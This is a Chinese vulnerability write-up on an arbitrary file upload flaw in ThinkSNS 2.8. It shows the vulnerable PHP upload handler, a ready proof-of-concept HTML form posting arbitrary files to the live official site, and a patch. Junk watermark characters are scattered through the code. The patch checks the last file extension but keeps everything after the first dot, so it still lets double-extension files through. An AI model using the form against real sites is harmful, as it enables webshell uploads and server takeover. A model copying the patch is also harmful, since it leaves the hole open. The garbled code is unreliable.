ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
$ q0 }% f* d& z

\api\StatusesApi.class.php

0 B. U, [/ d3 [5 M& W6 @function uploadpic(){
      if( $_FILES['pic'] ){
/ P7 F0 g- s- @7 i) H     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
# _* T9 {1 E2 c3 `* w# N       {
! }: h, Q% {& R. Y% z! Y        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
. Q; p! P) t- c1 m% y       } else {
. _& f* o  X* v        $result['boolen']    = 0;
        $result['message']   = '上传失败';
       }
     }else{
         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
return $result;
, g- g- L9 ]8 O4 k" m; p7 J    }
) E0 W% y/ C' s4 L: u: munloadpic()方法没有对文件类型进行验证
0 L: {, w  P; N: }1 U" B9 Z
可以构建表单, 选择任意文件, 提交到
/index.php?app=w3g&mod=Index&act=doPost
1 {& |. |2 Z7 r! _7 e! p
6 H5 W7 K; q2 a, t% C在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
. x" }5 ~) D4 z6 j/ \5 W1 H0 M

+ h% E. T; F( y4 |7 m/ B在登录thinksns官方微博后,
构建以下表单:

<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
<textarea name="content">test</textarea>
  j, F3 Q4 O* r2 H* c5 ifile: <input id="file" type="file" name="pic" />
- q: C8 ]& K2 O3 W6 r& z<input type="submit" value="Post" />
7 p, k8 b; C- V- S6 M8 L9 E</form>
, O% x4 S( Q3 f4 f去掉缩略图的前缀(small_ )
) N% Y& s0 X) n' Z8 j7 _, {% u) @​修复方案：
( D6 C* k  v2 J
1 ~, f. n/ b5 ~5 Q2 M( V
\api\StatusesApi.class.php
6 u4 v. N! {4 D; u' l: c( g
; p2 r) g) ?' |6 Cfunction uploadpic(){
+ G1 Y) U1 n; g& V0 Z     /**
      * 20121018 @yelo
+ ^5 k2 L) A: K% i5 f8 y0 j  g      * 增加上传类型验证
      */
     $pathinfo = pathinfo($_FILES['pic']['name']);
  |: [' E4 B# `  V8 t$ r! J- h% a     $ext = $pathinfo['extension'];
. r, Z2 m- a! v: [# ~) \ $allowExts = array('jpg', 'png', 'gif', 'jpeg');
% a8 {9 e5 V/ W2 w8 S/ O
     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
" g& k4 j% _  T! E% Y8 p
     if( $uploadCondition ){
! U) J+ G  J, D) A6 w     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
8 ^, t$ N# C2 c& K% A     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
8 N: @) C" i4 }& T) x* P( n, o# w2 z    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
. V& g- q: p1 p5 ]       {
0 {1 x( e6 o' g8 z4 c( W) q2 w        $result['boolen']    = 1;
( }/ k% {8 G5 ]) C  ]+ J9 c        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
! X3 Y, [' k' f, g) ~- G! Z       } else {
7 [% Z9 y9 r, _+ a        $result['boolen']    = 0;
        $result['message']   = '上传失败';
9 _# L$ k! U& L, d* i- Z7 |( }       }
4 m. T, j( _, m8 ^! M/ h7 u     }else{
         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
return $result;
    }
​
# ^; j! z* B' O